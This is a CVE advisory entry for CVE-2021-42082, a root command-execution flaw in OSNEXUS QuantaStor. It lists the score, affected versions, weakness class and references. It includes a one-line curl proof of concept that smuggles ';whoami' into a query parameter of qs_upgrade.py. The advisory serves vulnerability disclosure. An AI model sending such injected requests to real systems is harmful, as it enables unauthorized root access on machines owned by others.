CVE-2021-42082
7.8
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Summary
Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;whoami'
Affected Software
| Vendor | Product | Version Range | Status |
|---|---|---|---|
| OSNEXUS | QuantaStor | 0 < 6.0.0.355 | affected |
Weaknesses
- CWE-269: CWE-269 Improper Privilege Management
ADP Enrichment
CVE Program Container
Additional References
- https://www.wbsec.nl/osnexus
- https://www.divd.nl/DIVD-2021-00020
- https://www.osnexus.com/products/software-defined-storage
- https://csirt.divd.nl/CVE-2021-42082
CISA ADP Vulnrichment
- SSVC:
- Exploitation: none
- Automatable: no
- Technical Impact: total
References
- https://www.wbsec.nl/osnexus
- https://csirt.divd.nl/DIVD-2021-00020/
- https://www.osnexus.com/products/software-defined-storage
- https://csirt.divd.nl/CVE-2021-42082
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